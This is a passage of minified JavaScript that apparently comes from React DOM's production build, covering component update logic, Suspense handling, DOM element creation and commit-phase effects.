v.componentDidMount=="function"&&(n.flags|=4194308),l=!1)}else{v=n.stateNode,xd(e,n),_=n.memoizedProps,R=n.type===n.elementType?_:Vt(n.type,_),v.props=R,q=n.pendingProps,M=v.context,I=a.contextType,typeof I=="object"&&I!==null?I=jt(I):(I=gt(a)?tr:st.current,I=Rr(n,I));var K=a.getDerivedStateFromProps;(U=typeof K=="function"||typeof v.getSnapshotBeforeUpdate=="function")||typeof v.UNSAFE_componentWillReceiveProps!="function"&&typeof v.componentWillReceiveProps!="function"||(_!==q||M!==I)&&Gd(n,v,l,I),Pn=!1,M=n.memoizedState,v.state=M,Di(n,l,v,c);var te=n.memoizedState;_!==q||M!==te||ht.current||Pn?(typeof K=="function"&&(nl(n,a,K,l),te=n.memoizedState),(R=Pn||Wd(n,a,R,l,M,te,I)||!1)?(U||typeof v.UNSAFE_componentWillUpdate!="function"&&typeof v.componentWillUpdate!="function"||(typeof v.componentWillUpdate=="function"&&v.componentWillUpdate(l,te,I),typeof v.UNSAFE_componentWillUpdate=="function"&&v.UNSAFE_componentWillUpdate(l,te,I)),typeof v.componentDidUpdate=="function"&&(n.flags|=4),typeof v.getSnapshotBeforeUpdate=="function"&&(n.flags|=1024)):(typeof v.componentDidUpdate!="function"||_===e.memoizedProps&&M===e.memoizedState||(n.flags|=4),typeof v.getSnapshotBeforeUpdate!="function"||_===e.memoizedProps&&M===e.memoizedState||(n.flags|=1024),n.memoizedProps=l,n.memoizedState=te),v.props=l,v.state=te,v.context=I,l=R):(typeof v.componentDidUpdate!="function"||_===e.memoizedProps&&M===e.memoizedState||(n.flags|=4),typeof v.getSnapshotBeforeUpdate!="function"||_===e.memoizedProps&&M===e.memoizedState||(n.flags|=1024),l=!1)}return sl(e,n,a,l,f,c)}function sl(e,n,a,l,c,f){op(e,n);var v=(n.flags&128)!==0;if(!l&&!v)return c&&cd(n,a,!1),pn(e,n,f);l=n.stateNode,sg.current=n;var _=v&&typeof a.getDerivedStateFromError!="function"?null:l.render();return n.flags|=1,e!==null&&v?(n.child=Or(n,e.child,null,f),n.child=Or(n,null,_,f)):dt(e,n,_,f),n.memoizedState=l.state,c&&cd(n,a,!0),n.child}function ap(e){var n=e.stateNode;n.pendingContext?ld(e,n.pendingContext,n.pendingContext!==n.context):n.context&&ld(e,n.context,!1),qs(e,n.containerInfo)}function sp(e,n,a,l,c){return Ar(),$s(c),n.flags|=256,dt(e,n,a,l),n.child}var ll={dehydrated:null,treeContext:null,retryLane:0};function ul(e){return{baseLanes:e,cachePool:null,transitions:null}}function lp(e,n,a){var l=n.pendingProps,c=De.current,f=!1,v=(n.flags&128)!==0,_;if((_=v)||(_=e!==null&&e.memoizedState===null?!1:(c&2)!==0),_?(f=!0,n.flags&=-129):(e===null||e.memoizedState!==null)&&(c|=1),Te(De,c&1),e===null)return js(n),e=n.memoizedState,e!==null&&(e=e.dehydrated,e!==null)?((n.mode&1)===0?n.lanes=1:e.data==="$!"?n.lanes=8:n.lanes=1073741824,null):(v=l.children,e=l.fallback,f?(l=n.mode,f=n.child,v={mode:"hidden",children:v},(l&1)===0&&f!==null?(f.childLanes=0,f.pendingProps=v):f=aa(v,l,0,null),e=dr(e,l,a,null),f.return=n,e.return=n,f.sibling=e,n.child=f,n.child.memoizedState=ul(a),n.memoizedState=ll,e):cl(n,v));if(c=e.memoizedState,c!==null&&(_=c.dehydrated,_!==null))return lg(e,n,v,l,_,c,a);if(f){f=l.fallback,v=n.mode,c=e.child,_=c.sibling;var I={mode:"hidden",children:l.children};return(v&1)===0&&n.child!==c?(l=n.child,l.childLanes=0,l.pendingProps=I,n.deletions=null):(l=Dn(c,I),l.subtreeFlags=c.subtreeFlags&14680064),_!==null?f=Dn(_,f):(f=dr(f,v,a,null),f.flags|=2),f.return=n,l.return=n,l.sibling=f,n.child=l,l=f,f=n.child,v=e.child.memoizedState,v=v===null?ul(a):{baseLanes:v.baseLanes|a,cachePool:null,transitions:v.transitions},f.memoizedState=v,f.childLanes=e.childLanes&~a,n.memoizedState=ll,l}return f=e.child,e=f.sibling,l=Dn(f,{mode:"visible",children:l.children}),(n.mode&1)===0&&(l.lanes=a),l.return=n,l.sibling=null,e!==null&&(a=n.deletions,a===null?(n.deletions=[e],n.flags|=16):a.push(e)),n.child=l,n.memoizedState=null,l}function cl(e,n){return n=aa({mode:"visible",children:n},e.mode,0,null),n.return=e,e.child=n}function Hi(e,n,a,l){return l!==null&&$s(l),Or(n,e.child,null,a),e=cl(n,n.pendingProps.children),e.flags|=2,n.memoizedState=null,e}function lg(e,n,a,l,c,f,v){if(a)return n.flags&256?(n.flags&=-257,l=ol(Error(i(422))),Hi(e,n,v,l)):n.memoizedState!==null?(n.child=e.child,n.flags|=128,null):(f=l.fallback,c=n.mode,l=aa({mode:"visible",children:l.children},c,0,null),f=dr(f,c,v,null),f.flags|=2,l.return=n,f.return=n,l.sibling=f,n.child=l,(n.mode&1)!==0&&Or(n,e.child,null,v),n.child.memoizedState=ul(v),n.memoizedState=ll,f);if((n.mode&1)===0)return Hi(e,n,v,null);if(c.data==="$!"){if(l=c.nextSibling&&c.nextSibling.dataset,l)var _=l.dgst;return l=_,f=Error(i(419)),l=ol(f,l,void 0),Hi(e,n,v,l)}if(_=(v&e.childLanes)!==0,yt||_){if(l=nt,l!==null){switch(v&-v){case 4:c=2;break;case 16:c=8;break;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:c=32;break;case 536870912:c=268435456;break;default:c=0}c=(c&(l.suspendedLanes|v))!==0?0:c,c!==0&&c!==f.retryLane&&(f.retryLane=c,cn(e,c),Gt(l,e,c,-1))}return bl(),l=ol(Error(i(421))),Hi(e,n,v,l)}return c.data==="$?"?(n.flags|=128,n.child=e.child,n=xg.bind(null,e),c._reactRetry=n,null):(e=f.treeContext,Tt=Cn(c.nextSibling),Ct=n,Oe=!0,qt=null,e!==null&&(At[Ot++]=ln,At[Ot++]=un,At[Ot++]=nr,ln=e.id,un=e.overflow,nr=n),n=cl(n,l.children),n.flags|=4096,n)}function up(e,n,a){e.lanes|=n;var l=e.alternate;l!==null&&(l.lanes|=n),Fs(e.return,n,a)}function dl(e,n,a,l,c){var f=e.memoizedState;f===null?e.memoizedState={isBackwards:n,rendering:null,renderingStartTime:0,last:l,tail:a,tailMode:c}:(f.isBackwards=n,f.rendering=null,f.renderingStartTime=0,f.last=l,f.tail=a,f.tailMode=c)}function cp(e,n,a){var l=n.pendingProps,c=l.revealOrder,f=l.tail;if(dt(e,n,l.children,a),l=De.current,(l&2)!==0)l=l&1|2,n.flags|=128;else{if(e!==null&&(e.flags&128)!==0)e:for(e=n.child;e!==null;){if(e.tag===13)e.memoizedState!==null&&up(e,a,n);else if(e.tag===19)up(e,a,n);else if(e.child!==null){e.child.return=e,e=e.child;continue}if(e===n)break e;for(;e.sibling===null;){if(e.return===null||e.return===n)break e;e=e.return}e.sibling.return=e.return,e=e.sibling}l&=1}if(Te(De,l),(n.mode&1)===0)n.memoizedState=null;else switch(c){case"forwards":for(a=n.child,c=null;a!==null;)e=a.alternate,e!==null&&Mi(e)===null&&(c=a),a=a.sibling;a=c,a===null?(c=n.child,n.child=null):(c=a.sibling,a.sibling=null),dl(n,!1,c,a,f);break;case"backwards":for(a=null,c=n.child,n.child=null;c!==null;){if(e=c.alternate,e!==null&&Mi(e)===null){n.child=c;break}e=c.sibling,c.sibling=a,a=c,c=e}dl(n,!0,a,null,f);break;case"together":dl(n,!1,null,null,void 0);break;default:n.memoizedState=null}return n.child}function Gi(e,n){(n.mode&1)===0&&e!==null&&(e.alternate=null,n.alternate=null,n.flags|=2)}function pn(e,n,a){if(e!==null&&(n.dependencies=e.dependencies),sr|=n.lanes,(a&n.childLanes)===0)return null;if(e!==null&&n.child!==e.child)throw Error(i(153));if(n.child!==null){for(e=n.child,a=Dn(e,e.pendingProps),n.child=a,a.return=n;e.sibling!==null;)e=e.sibling,a=a.sibling=Dn(e,e.pendingProps),a.return=n;a.sibling=null}return n.child}function ug(e,n,a){switch(n.tag){case 3:ap(n),Ar();break;case 5:Sd(n);break;case 1:gt(n.type)&&Bi(n);break;case 4:qs(n,n.stateNode.containerInfo);break;case 10:var l=n.type._context,c=n.memoizedProps.value;Te(ji,l._currentValue),l._currentValue=c;break;case 13:if(l=n.memoizedState,l!==null)return l.dehydrated!==null?(Te(De,De.current&1),n.flags|=128,null):(a&n.child.childLanes)!==0?lp(e,n,a):(Te(De,De.current&1),e=pn(e,n,a),e!==null?e.sibling:null);Te(De,De.current&1);break;case 19:if(l=(a&n.childLanes)!==0,(e.flags&128)!==0){if(l)return cp(e,n,a);n.flags|=128}if(c=n.memoizedState,c!==null&&(c.rendering=null,c.tail=null,c.lastEffect=null),Te(De,De.current),l)break;return null;case 22:case 23:return n.lanes=0,rp(e,n,a)}return pn(e,n,a)}var dp,pl,pp,fp;dp=function(e,n){for(var a=n.child;a!==null;){if(a.tag===5||a.tag===6)e.appendChild(a.stateNode);else if(a.tag!==4&&a.child!==null){a.child.return=a,a=a.child;continue}if(a===n)break;for(;a.sibling===null;){if(a.return===null||a.return===n)return;a=a.return}a.sibling.return=a.return,a=a.sibling}},pl=function(){},pp=function(e,n,a,l){var c=e.memoizedProps;if(c!==l){e=n.stateNode,ir(tn.current);var f=null;switch(a){case"input":c=Fa(e,c),l=Fa(e,l),f=[];break;case"select":c=X({},c,{value:void 0}),l=X({},l,{value:void 0}),f=[];break;case"textarea":c=qa(e,c),l=qa(e,l),f=[];break;default:typeof c.onClick!="function"&&typeof l.onClick=="function"&&(e.onclick=zi)}Wa(a,l);var v;a=null;for(R in c)if(!l.hasOwnProperty(R)&&c.hasOwnProperty(R)&&c[R]!=null)if(R==="style"){var _=c[R];for(v in _)_.hasOwnProperty(v)&&(a||(a={}),a[v]="")}else R!=="dangerouslySetInnerHTML"&&R!=="children"&&R!=="suppressContentEditableWarning"&&R!=="suppressHydrationWarning"&&R!=="autoFocus"&&(u.hasOwnProperty(R)?f||(f=[]):(f=f||[]).push(R,null));for(R in l){var I=l[R];if(_=c?.[R],l.hasOwnProperty(R)&&I!==_&&(I!=null||_!=null))if(R==="style")if(_){for(v in _)!_.hasOwnProperty(v)||I&&I.hasOwnProperty(v)||(a||(a={}),a[v]="");for(v in I)I.hasOwnProperty(v)&&_[v]!==I[v]&&(a||(a={}),a[v]=I[v])}else a||(f||(f=[]),f.push(R,a)),a=I;else R==="dangerouslySetInnerHTML"?(I=I?I.__html:void 0,_=_?_.__html:void 0,I!=null&&_!==I&&(f=f||[]).push(R,I)):R==="children"?typeof I!="string"&&typeof I!="number"||(f=f||[]).push(R,""+I):R!=="suppressContentEditableWarning"&&R!=="suppressHydrationWarning"&&(u.hasOwnProperty(R)?(I!=null&&R==="onScroll"&&Pe("scroll",e),f||_===I||(f=[])):(f=f||[]).push(R,I))}a&&(f=f||[]).push("style",a);var R=f;(n.updateQueue=R)&&(n.flags|=4)}},fp=function(e,n,a,l){a!==l&&(n.flags|=4)};function Do(e,n){if(!Oe)switch(e.tailMode){case"hidden":n=e.tail;for(var a=null;n!==null;)n.alternate!==null&&(a=n),n=n.sibling;a===null?e.tail=null:a.sibling=null;break;case"collapsed":a=e.tail;for(var l=null;a!==null;)a.alternate!==null&&(l=a),a=a.sibling;l===null?n||e.tail===null?e.tail=null:e.tail.sibling=null:l.sibling=null}}function ut(e){var n=e.alternate!==null&&e.alternate.child===e.child,a=0,l=0;if(n)for(var c=e.child;c!==null;)a|=c.lanes|c.childLanes,l|=c.subtreeFlags&14680064,l|=c.flags&14680064,c.return=e,c=c.sibling;else for(c=e.child;c!==null;)a|=c.lanes|c.childLanes,l|=c.subtreeFlags,l|=c.flags,c.return=e,c=c.sibling;return e.subtreeFlags|=l,e.childLanes=a,n}function cg(e,n,a){var l=n.pendingProps;switch(As(n),n.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:return ut(n),null;case 1:return gt(n.type)&&Ti(),ut(n),null;case 3:return l=n.stateNode,Lr(),Ne(ht),Ne(st),Hs(),l.pendingContext&&(l.context=l.pendingContext,l.pendingContext=null),(e===null||e.child===null)&&(Ai(n)?n.flags|=4:e===null||e.memoizedState.isDehydrated&&(n.flags&256)===0||(n.flags|=1024,qt!==null&&(Il(qt),qt=null))),pl(e,n),ut(n),null;case 5:Vs(n);var c=ir(Ao.current);if(a=n.type,e!==null&&n.stateNode!=null)pp(e,n,a,l,c),e.ref!==n.ref&&(n.flags|=512,n.flags|=2097152);else{if(!l){if(n.stateNode===null)throw Error(i(166));return ut(n),null}if(e=ir(tn.current),Ai(n)){l=n.stateNode,a=n.type;var f=n.memoizedProps;switch(l[en]=n,l[To]=f,e=(n.mode&1)!==0,a){case"dialog":Pe("cancel",l),Pe("close",l);break;case"iframe":case"object":case"embed":Pe("load",l);break;case"video":case"audio":for(c=0;c<bo.length;c++)Pe(bo[c],l);break;case"source":Pe("error",l);break;case"img":case"image":case"link":Pe("error",l),Pe("load",l);break;case"details":Pe("toggle",l);break;case"input":Hu(l,f),Pe("invalid",l);break;case"select":l._wrapperState={wasMultiple:!!f.multiple},Pe("invalid",l);break;case"textarea":Ku(l,f),Pe("invalid",l)}Wa(a,f),c=null;for(var v in f)if(f.hasOwnProperty(v)){var _=f[v];v==="children"?typeof _=="string"?l.textContent!==_&&(f.suppressHydrationWarning!==!0&&bi(l.textContent,_,e),c=["children",_]):typeof _=="number"&&l.textContent!==""+_&&(f.suppressHydrationWarning!==!0&&bi(l.textContent,_,e),c=["children",""+_]):u.hasOwnProperty(v)&&_!=null&&v==="onScroll"&&Pe("scroll",l)}switch(a){case"input":ri(l),Ju(l,f,!0);break;case"textarea":ri(l),Yu(l);break;case"select":case"option":break;default:typeof f.onClick=="function"&&(l.onclick=zi)}l=c,n.updateQueue=l,l!==null&&(n.flags|=4)}else{v=c.nodeType===9?c:c.ownerDocument,e==="http://www.w3.org/1999/xhtml"&&(e=Xu(a)),e==="http://www.w3.org/1999/xhtml"?a==="script"?(e=v.createElement("div"),e.innerHTML="<script><\/script>",e=e.removeChild(e.firstChild)):typeof l.is=="string"?e=v.createElement(a,{is:l.is}):(e=v.createElement(a),a==="select"&&(v=e,l.multiple?v.multiple=!0:l.size&&(v.size=l.size))):e=v.createElementNS(e,a),e[en]=n,e[To]=l,dp(e,n,!1,!1),n.stateNode=e;e:{switch(v=Ha(a,l),a){case"dialog":Pe("cancel",e),Pe("close",e),c=l;break;case"iframe":case"object":case"embed":Pe("load",e),c=l;break;case"video":case"audio":for(c=0;c<bo.length;c++)Pe(bo[c],e);c=l;break;case"source":Pe("error",e),c=l;break;case"img":case"image":case"link":Pe("error",e),Pe("load",e),c=l;break;case"details":Pe("toggle",e),c=l;break;case"input":Hu(e,l),c=Fa(e,l),Pe("invalid",e);break;case"option":c=l;break;case"select":e._wrapperState={wasMultiple:!!l.multiple},c=X({},l,{value:void 0}),Pe("invalid",e);break;case"textarea":Ku(e,l),c=qa(e,l),Pe("invalid",e);break;default:c=l}Wa(a,c),_=c;for(f in _)if(_.hasOwnProperty(f)){var I=_[f];f==="style"?nc(e,I):f==="dangerouslySetInnerHTML"?(I=I?I.__html:void 0,I!=null&&ec(e,I)):f==="children"?typeof I=="string"?(a!=="textarea"||I!=="")&&ao(e,I):typeof I=="number"&&ao(e,""+I):f!=="suppressContentEditableWarning"&&f!=="suppressHydrationWarning"&&f!=="autoFocus"&&(u.hasOwnProperty(f)?I!=null&&f==="onScroll"&&Pe("scroll",e):I!=null&&Q(e,f,I,v))}switch(a){case"input":ri(e),Ju(e,l,!1);break;case"textarea":ri(e),Yu(e);break;case"option":l.value!=null&&e.setAttribute("value",""+ke(l.value));break;case"select":e.multiple=!!l.multiple,f=l.value,f!=null?_r(e,!!l.multiple,f,!1):l.defaultValue!=null&&_r(e,!!l.multiple,l.defaultValue,!0);break;default:typeof c.onClick=="function"&&(e.onclick=zi)}switch(a){case"button":case"input":case"select":case"textarea":l=!!l.autoFocus;break e;case"img":l=!0;break e;default:l=!1}}l&&(n.flags|=4)}n.ref!==null&&(n.flags|=512,n.flags|=2097152)}return ut(n),null;case 6:if(e&&n.stateNode!=null)fp(e,n,e.memoizedProps,l);else{if(typeof l!="string"&&n.stateNode===null)throw Error(i(166));if(a=ir(Ao.current),ir(tn.current),Ai(n)){if(l=n.stateNode,a=n.memoizedProps,l[en]=n,(f=l.nodeValue!==a)&&(e=Ct,e!==null))switch(e.tag){case 3:bi(l.nodeValue,a,(e.mode&1)!==0);break;case 5:e.memoizedProps.suppressHydrationWarning!==!0&&bi(l.nodeValue,a,(e.mode&1)!==0)}f&&(n.flags|=4)}else l=(a.nodeType===9?a:a.ownerDocument).createTextNode(l),l[en]=n,n.stateNode=l}return ut(n),null;case 13:if(Ne(De),l=n.memoizedState,e===null||e.memoizedState!==null&&e.memoizedState.dehydrated!==null){if(Oe&&Tt!==null&&(n.mode&1)!==0&&(n.flags&128)===0)hd(),Ar(),n.flags|=98560,f=!1;else if(f=Ai(n),l!==null&&l.dehydrated!==null){if(e===null){if(!f)throw Error(i(318));if(f=n.memoizedState,f=f!==null?f.dehydrated:null,!f)throw Error(i(317));f[en]=n}else Ar(),(n.flags&128)===0&&(n.memoizedState=null),n.flags|=4;ut(n),f=!1}else qt!==null&&(Il(qt),qt=null),f=!0;if(!f)return n.flags&65536?n:null}return(n.flags&128)!==0?(n.lanes=a,n):(l=l!==null,l!==(e!==null&&e.memoizedState!==null)&&l&&(n.child.flags|=8192,(n.mode&1)!==0&&(e===null||(De.current&1)!==0?Xe===0&&(Xe=3):bl())),n.updateQueue!==null&&(n.flags|=4),ut(n),null);case 4:return Lr(),pl(e,n),e===null&&zo(n.stateNode.containerInfo),ut(n),null;case 10:return Ms(n.type._context),ut(n),null;case 17:return gt(n.type)&&Ti(),ut(n),null;case 19:if(Ne(De),f=n.memoizedState,f===null)return ut(n),null;if(l=(n.flags&128)!==0,v=f.rendering,v===null)if(l)Do(f,!1);else{if(Xe!==0||e!==null&&(e.flags&128)!==0)for(e=n.child;e!==null;){if(v=Mi(e),v!==null){for(n.flags|=128,Do(f,!1),l=v.updateQueue,l!==null&&(n.updateQueue=l,n.flags|=4),n.subtreeFlags=0,l=a,a=n.child;a!==null;)f=a,e=l,f.flags&=14680066,v=f.alternate,v===null?(f.childLanes=0,f.lanes=e,f.child=null,f.subtreeFlags=0,f.memoizedProps=null,f.memoizedState=null,f.updateQueue=null,f.dependencies=null,f.stateNode=null):(f.childLanes=v.childLanes,f.lanes=v.lanes,f.child=v.child,f.subtreeFlags=0,f.deletions=null,f.memoizedProps=v.memoizedProps,f.memoizedState=v.memoizedState,f.updateQueue=v.updateQueue,f.type=v.type,e=v.dependencies,f.dependencies=e===null?null:{lanes:e.lanes,firstContext:e.firstContext}),a=a.sibling;return Te(De,De.current&1|2),n.child}e=e.sibling}f.tail!==null&&We()>Ur&&(n.flags|=128,l=!0,Do(f,!1),n.lanes=4194304)}else{if(!l)if(e=Mi(v),e!==null){if(n.flags|=128,l=!0,a=e.updateQueue,a!==null&&(n.updateQueue=a,n.flags|=4),Do(f,!0),f.tail===null&&f.tailMode==="hidden"&&!v.alternate&&!Oe)return ut(n),null}else 2*We()-f.renderingStartTime>Ur&&a!==1073741824&&(n.flags|=128,l=!0,Do(f,!1),n.lanes=4194304);f.isBackwards?(v.sibling=n.child,n.child=v):(a=f.last,a!==null?a.sibling=v:n.child=v,f.last=v)}return f.tail!==null?(n=f.tail,f.rendering=n,f.tail=n.sibling,f.renderingStartTime=We(),n.sibling=null,a=De.current,Te(De,l?a&1|2:a&1),n):(ut(n),null);case 22:case 23:return kl(),l=n.memoizedState!==null,e!==null&&e.memoizedState!==null!==l&&(n.flags|=8192),l&&(n.mode&1)!==0?(Bt&1073741824)!==0&&(ut(n),n.subtreeFlags&6&&(n.flags|=8192)):ut(n),null;case 24:return null;case 25:return null}throw Error(i(156,n.tag))}function dg(e,n){switch(As(n),n.tag){case 1:return gt(n.type)&&Ti(),e=n.flags,e&65536?(n.flags=e&-65537|128,n):null;case 3:return Lr(),Ne(ht),Ne(st),Hs(),e=n.flags,(e&65536)!==0&&(e&128)===0?(n.flags=e&-65537|128,n):null;case 5:return Vs(n),null;case 13:if(Ne(De),e=n.memoizedState,e!==null&&e.dehydrated!==null){if(n.alternate===null)throw Error(i(340));Ar()}return e=n.flags,e&65536?(n.flags=e&-65537|128,n):null;case 19:return Ne(De),null;case 4:return Lr(),null;case 10:return Ms(n.type._context),null;case 22:case 23:return kl(),null;case 24:return null;default:return null}}var Ji=!1,ct=!1,pg=typeof WeakSet=="function"?WeakSet:Set,Y=null;function Mr(e,n){var a=e.ref;if(a!==null)if(typeof a=="function")try{a(null)}catch(l){Ve(e,n,l)}else a.current=null}function fl(e,n,a){try{a()}catch(l){Ve(e,n,l)}}var mp=!1;function fg(e,n){if(ks=vi,e=Wc(),gs(e)){if("selectionStart"in e)var a={start:e.selectionStart,end:e.selectionEnd};else e:{a=(a=e.ownerDocument)&&a.defaultView||window;var l=a.getSelection&&a.getSelection();if(l&&l.rangeCount!==0){a=l.anchorNode;var c=l.anchorOffset,f=l.focusNode;l=l.focusOffset;try{a.nodeType,f.nodeType}catch{a=null;break e}var v=0,_=-1,I=-1,R=0,U=0,q=e,M=null;t:for(;;){for(var K;q!==a||c!==0&&q.nodeType!==3||(_=v+c),q!==f||l!==0&&q.nodeType!==3||(I=v+l),q.nodeType===3&&(v+=q.nodeValue.length),(K=q.firstChild)!==null;)M=q,q=K;for(;;){if(q===e)break t;if(M===a&&++R===c&&(_=v),M===f&&++U===l&&(I=v),(K=q.nextSibling)!==null)break;q=M,M=q.parentNode}q=K}a=_===-1||I===-1?null:{start:_,end:I}}else a=null}a=a||{start:0,end:0}}else a=null;for(bs={focusedElem:e,selectionRange:a},vi=!1,Y=n;Y!==null;)if(n=Y,e=n.child,(n.subtreeFlags&1028)!==0&&e!==null)e.return=n,Y=e;else for(;Y!==null;){n=Y;try{var te=n.alternate;if((n.flags&1024)!==0)switch(n.tag){case 0:case 11:case 15:break;case 1:if(te!==null){var ne=te.memoizedProps,He=te.memoizedState,C=n.stateNode,k=C.getSnapshotBeforeUpdate(n.elementType===n.type?ne:Vt(n.type,ne),He);C.__reactInternalSnapshotBeforeUpdate=k}break;case 3:var B=n.stateNode.containerInfo;B.nodeType===1?B.textContent="":B.nodeType===9&&B.documentElement&&B.removeChild(B.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(i(163))}}catch(V){Ve(n,n.return,V)}if(e=n.sibling,e!==null){e.return=n.return,Y=e;break}Y=n.return}return te=mp,mp=!1,te}function Mo(e,n,a){var l=n.updateQueue;if(l=l!==null?l.lastEffect:null,l!==null){var c=l=l.next;do{if((c.tag&e)===e){var f=c.destroy;c.destroy=void 0,f!==void 0&&fl(n,a,f)}c=c.next}while(c!==l)}}function Ki(e,n){if(n=n.updateQueue,n=n!==null?n.lastEffect:null,n!==null){var a=n=n.next;do{if((a.tag&e)===e){var l=a.create;a.destroy=l()}a=a.next}while(a!==n)}}function ml(e){var n=e.ref;if(n!==null){var a=e.stateNode;e.tag,e=a,typeof n=="function"?n(e):n.current=e}}function vp(e){var n=e.alternate;n!==null&&(e.alternate=null,vp(n)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(n=e.stateNode,n!==null&&(delete n[en],delete n[To],delete n[Bs],delete n[Jh],delete n[Kh])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function hp(e){return e.tag===5||e.tag===3||e.tag===4}function gp(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||hp(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function vl(e,n,a){var l=e.tag;if(l===5||l===6)e=e.stateNode,n?a.nodeType===8?a.parentNode.insertBefore(e,n):a.insertBefore(e,n):(a.nodeType===8?(n=a.parentNode,n.insertBefore(e,a)):(n=a,n.appendChild(e)),a=a._reactRootContainer,a!=null||n.onclick!==null||(n.onclick=zi));else if(l!==4&&(e=e.child,e!==null))for(vl(e,n,a),e=e.sibling;e!==null;)vl(e,n,a),e=e.sibling}function hl(e,n,a){var l=e.tag;if(l===5||l===6)e=e.stateNode,n?a.insertBefore(e,n):a.appendChild(e);else if(l!==4&&(e=e.child,e!==null))for(hl(e,n,a),e=e.sibling;e!==null;)hl(e,n,a),e=e.sibling}var it=null,Wt=!1;function An(e,n,a){for(a=a.child;a!==null;)yp(e,n,a),a=a.sibling}function yp(e,n,a){if(Xt&&typeof Xt.onCommitFiberUnmount=="function")try{Xt.onCommitFiberUnmount(ui,a)}catch{}switch(a.tag){case 5:ct||Mr(a,n);case 6:var l=it,c=Wt;it=null,An(e,n,a),it=l,Wt=c,it!==null&&(Wt?(e=it,a=a.stateNode,e.nodeType===8?e.parentNode.removeChild(a):e.removeChild(a)):it.removeChild(a.stateNode));break;case 18:it!==null&&(Wt?(e=it,a=a.stateNode,e.nodeType===8?Ts(e.parentNode,a):e.nodeType===1&&Ts(e,a),yo(e)):Ts(it,a.stateNode));break;case 4:l=it,c=Wt,it=a.stateNode.containerInfo,Wt=!0,An(e,n,a),it=l,Wt=c;break;case 0:case 11:case 14:case 15:if(!ct&&(l=a.updateQueue,l!==null&&(l=l.lastEffect,l!==null))){c=l=l.next;do{var f=c,v=f.destroy;f=f.tag,v!==void 0&&((f&2)!==0||(f&4)!==0)&&fl(a,n,v),c=c.next}while(c!==l)}An(e,n,a);break;case 1:if(!ct&&(Mr(a,n),l=a.stateNode,typeof l.componentWillUnmount=="function"))try{l.props=a.memoizedProps,l.state=a.memoizedState,l.componentWillUnmount()}catch(_){Ve(a,n,_)}An(e,n,a);break;case 21:An(e,n,a);break;case 22:a.mode&1?(ct=(l=ct)||a.memoizedState!==null,An(e,n,a),ct=l):An(e,n,a);break;default:An(e,n,a)}}function _p(e){var n=e.updateQueue;if(n!==null){e.updateQueue=null;var a=e.stateNode;a===null&&(a=e.stateNode=new pg),n.forEach(function(l){var c=Eg.bind(null,e,l);a.has(l)||(a.add(l),l.then(c,c))})}}function Ht(e,n){var a=n.deletions;if(a!==null)for(var l=0;l<a.length;l++){var c=a[l];try{var f=e,v=n,_=v;e:for(;_!==null;){switch(_.tag){case 5:it=_.stateNode,Wt=!1;break e;case 3:it=_.stateNode.containerInfo,Wt=!0;break e;case 4:it=_.stateNode.containerInfo,Wt=!0;break e}_=_.return}if(it===null)throw Error(i(160));yp(f,v,c),it=null,Wt=!1;var I=c.alternate;I!==null&&(I.return=null),c.return=null}catch(R){Ve(c,n,R)}}if(n.subtreeFlags&12854)for(n=n.child;n!==null;)wp(n,e),n=n.sibling}function wp(e,n){var a=e.alternate,l=e.flags;switch(e.tag){case 0:case 11:case 14:case 15:if(Ht(n,e),rn(e),l&4){try{Mo(3,e,e.return),Ki(3,e)}catch(ne){Ve(e,e.return,ne)}try{Mo(5,e,e.return)}catch(ne){Ve(e,e.return,ne)}}break;case 1:Ht(n,e),rn(e),l&512&&a!==null&&Mr(a,a.return);break;case 5:if(Ht(n,e),rn(e),l&512&&a!==null&&Mr(a,a.return),e.flags&32){var c=e.stateNode;try{ao(c,"")}catch(ne){Ve(e,e.return,ne)}}if(l&4&&(c=e.stateNode,c!=null)){var f=e.memoizedProps,v=a!==null?a.memoizedProps:f,_=e.type,I=e.updateQueue;if(e.updateQueue=null,I!==null)try{_==="input"&&f.type==="radio"&&f.name!=null&&Gu(c,f),Ha(_,v);var R=Ha(_,f);for(v=0;v<I.length;v+=2){var U=I[v],q=I[v+1];U==="style"?nc(c,q):U==="dangerouslySetInnerHTML"?ec(c,q):U==="children"?ao(c,q):Q(c,U,q,R)}switch(_){case"input":Ua(c,f);break;case"textarea":Qu(c,f);break;case"select":var M=c._wrapperState.wasMultiple;c._wrapperState.wasMultiple=!!f.multiple;var K=f.value;K!=null?_r(c,!!f.multiple,K,!1):M!==!!f.multiple&&(f.defaultValue!=null?_r(c,!!f.multiple,f.defaultValue,!0):_r(c,!!f.multiple,f.multiple?[]:"",!1))}c[To]=f}catch(ne){Ve(e,e.return,ne)}}break;case 6:if(Ht(n,e),rn(e),l&4){if(e.stateNode===null)throw Error(i(162));c=e.stateNode,f=e.memoizedProps;try{c.nodeValue=f}catch(ne){Ve(e,e.return,ne)}}break;case 3:if(Ht(n,e),rn(e),l&4&&a!==null&&a.memoizedState.isDehydrated)try{yo(n.containerInfo)}catch(ne){Ve(e,e.return,ne)}break;case 4:Ht(n,e),rn(e);break;case 13:Ht(n,e),rn(e),c=e.child,c.flags&8192&&(f=c.memoizedState!==null,c.stateNode.isHidden=f,!f||c.alternate!==null&&c.alternate.memoizedState!==null||(_l=We())),l&4&&_p(e);break;case 22:if(U=a!==null&&a.memoizedState!==null,e.mode&1?(ct=(R=ct)||U,Ht(n,e),ct=R):Ht(n,e),rn(e),l&8192){if(R=e.memoizedState!==null,(e.stateNode.isHidden=R)&&!U&&(e.mode&1)!==0)for(Y=e,U=e.child;U!==null;){for(q=Y=U;Y!==null;){switch(M=Y,K=M.child,M.tag){case 0:case 11:case 14:case 15:Mo(4,M,M.return);break;case 1:Mr(M,M.return);var te=M.stateNode;if(typeof 